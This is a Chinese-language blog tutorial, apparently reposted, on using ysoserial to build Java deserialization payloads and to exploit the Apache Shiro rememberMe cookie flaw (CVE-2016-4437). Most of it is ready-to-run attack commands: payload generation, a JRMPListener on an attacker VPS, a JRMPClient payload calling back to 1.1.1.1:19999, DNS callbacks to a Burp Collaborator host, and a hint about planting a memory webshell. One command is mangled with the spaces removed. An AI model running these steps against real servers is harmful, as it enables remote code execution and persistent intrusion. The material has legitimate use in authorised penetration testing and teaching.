ysoserial使用
参考文章:https://blog.csdn.net/st3pby/article/details/135111050
ysoserial是一个用于生成java反序列化有效负载的项目。最早在2015年Marshalling Pickles: how deserializing objects will destroy your会议上提出的一个工具,该工具包含各种java反序列化利用链,可直接生成序列化数据文件,也可通过交互式开启各种服务。总之,提到java反序列化一定会有ysoserial工具的出现,通过该工具直接快速生成java反序列化漏洞的有效负载
直接生成
语法:java -jar ysoserial.jar [payload] '[command]'
例如:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
ysoserial.jar为jar包路径,CommonsBeanutils1是你需要使用的payload,touch /tmp/success为需要执行的命令,poc.ser是此payload写入的文件名
可以自行复现CVE-2016-4437来感受一下直接使用ysoserial生成命令执行数据文件执行命令
交互模式
可以使用ysoserial开启交互模式通过开启监听服务的方式进行攻击,这种攻击方式也是最常见的
ysoserial开启JRMP监听:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 'mkdir /tmp/test'
-cp:classpath简写,为开启监听服务类路径
2333:服务端口,可任意填写无使用的端口
CommonsCollections1:有效载荷,上述已说明
mkdir /tmp/test:执行的命令
JRMP
JRMP(Java Remote Method Protocol)是Java远程方法调用协议的缩写。它是Java中用于实现分布式对象通信的一种协议。
在Java中,可以通过远程方法调用(Remote Method Invocation,RMI)来实现不同Java虚拟机(JVM)之间的通信。JRMP是RMI中的默认协议,它定义了在Java平台上进行远程方法调用所使用的协议规范。
JRMP允许在不同的JVM之间进行对象的远程调用,使得分布式系统中的Java对象可以通过网络进行交互。通过JRMP,客户端可以调用远程服务器上的方法,就像调用本地对象的方法一样。JRMP负责处理网络通信、对象序列化和反序列化等细节,以实现透明的远程方法调用。
要使用JRMP进行远程方法调用,需要定义接口、实现远程对象、绑定远程对象到特定的端口,并在客户端和服务器端分别设置相应的配置。
方式一的实例
使用 ysoserial,生成一个 URLDNS 序列化 payload:
java -jar ysoserial.jar URLDNS http://urldns.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net > /tmp/urldns.ser
用 shiro 编码脚本将序列化 payload 进行编码,得到 Cookie 字符串:
java -jar shiro-exp.jar encrypt /tmp/urldns.ser
再将上面得到的 Cookie 字符串作为 rememberMe Cookie 的值,发送到目标网站,如果 cipher key 正确,则目标会成功反序列化我们发送的 payload,Burp Collaborator client 将收到 dns 解析记录,说明目标网站存在 shiro 反序列化漏洞:
方式二的实例
攻击者先在公网 vps 上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:
java-cpysoserial.jarysoserial.expeseloit.JRMPListener19999CommonsCollections6"ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"
#这里还可以配合JMG生成冰蝎马class文件,将生成好的内存马class文件放入ysoserial目录下载入内存马CB1利用链监听(用工具ysoserial-for-woodpecker-0.5.2.jar)
然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):
java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser
再用 shiro 编码脚本对 JRMPClient payload 进行编码:
java -jar shiro-exp.jar encrypt /tmp/jrmp.ser
将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行,Burp Collaborator client 也将收到 DNS 解析记录
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20633929

浙公网安备 33010602011771号